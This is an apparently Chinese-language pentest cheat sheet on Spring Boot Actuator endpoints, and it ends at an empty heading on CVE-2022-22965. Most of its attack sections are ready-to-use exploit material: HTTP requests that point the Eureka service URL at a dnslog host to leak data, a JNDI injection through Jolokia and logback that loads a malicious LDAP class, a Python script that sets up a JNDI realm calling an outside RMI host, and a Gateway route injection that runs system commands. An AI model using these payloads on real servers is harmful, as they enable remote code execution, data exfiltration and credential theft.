一、Spring Boot介绍

Spring Boot 是一个开源的Java框架，旨在简化Spring应用的创建和部署过程。它是Spring平台和第三方库生态的一部分，由Pivotal团队开发。Spring Boot 旨在让开发者能够更快速地启动和运行新的Spring应用程序，通过提供默认的配置帮助快速启动各种Spring应用上下文和第三方库。

1.1 Spring Boot常见接口

二、Spring Boot各接口常见漏洞

2.1 env接口

1）未授权信息泄露(不需要授权可查看端点信息)

2）RCE漏洞（通过eureka.client.serviceUrl.defaultZone）进行rce

POC：

#1、设置serviceurl值，并在vps进行监听
POST /openapi/actuator/env HTTP/1.1
Host: IP
Content-Type: application/json
Content-Length: 85

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://￥{PID}your.dnslog.cn"}

#2、重启接口，观察vps收到的信息并解密
POST /openapi/actuator/refresh HTTP/1.1
Host: IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Content-Type: application/json

2.2 swagger-ui.html、/v2/api-docs接口

未授权访问（可以未授权查看接口文档，可进一步对接口进行测试，测试未授权、注入等等类型的漏洞）

2.3 nacos-config接口

未授权访问，信息泄露（利用该接口可获取nacos账号密码，可获取大量敏感信息。且nacos存在RCE漏洞可进行尝试利用获取权限）

2.4 jolokia接口

命令执行1（jolokia logback JNDI注入，通过/jolokia/exec/ch.qos.logback.classic:远程调用恶意类造成RCE）

1、启动一个恶意的ldap

2、制作一个logback.xml文件内容如下
<configuration>
<insertFromJNDI env-entry-name="ldap://恶意的ldap地址" as="appName" />
</configuration>

3、使用以下地址进行jndi注入
http://localhost:9094/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.0.108:8000!/logback.xml

命令执行2（jolokia Realm JNDI注入，通过调用恶意的rmi，造成RCE漏洞）

#!/usr/bin/env python3
# coding: utf-8
import requests
  
url = 'http://127.0.0.1/actuator/jolokia'
 
 
create_realm = {
    "mbean": "Tomcat:type=MBeanFactory",
    "type": "EXEC",
    "operation": "createJNDIRealm",
    "arguments": ["Tomcat:type=Engine"]
}
 
wirte_factory = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "contextFactory",
    "value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
 
write_url = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "connectionURL",
    "value": "rmi://krk9ve.ceye.io"
}
 
stop = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "stop",
    "arguments": []
}
 
start = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "start",
    "arguments": []
}
 
flow = [create_realm, wirte_factory, write_url, stop, start]
 
for i in flow:
    print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
    r = requests.post(url, json=i)
    r.json()
    print(r.status_code)

2.5 heapdump接口

未授权信息泄露（使用java自带的jvisualvm.exe加载该文件或使用工具https://github.com/wyzxxz/heapdump_tool进行解密数据）

2.6 gateway接口

/gateway/route rce 漏洞（通过添加恶意路由从而进行rce）

1、添加恶意路由

POST /actuator/gateway/routes/testxxxHTTP/1.1
Host: 192.168.42.145:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 334


{
"id": "testxxx",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}

2、刷新路由

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.42.145:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 334


{
}

3、访问路由造成命令执行

GET /actuator/gateway/routes/testxxx HTTP/1.1
Host: 192.168.42.145:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 334

三、Spring 框架其他漏洞

3.1 Spring Framework RCE (CVE-2022-22965)漏洞
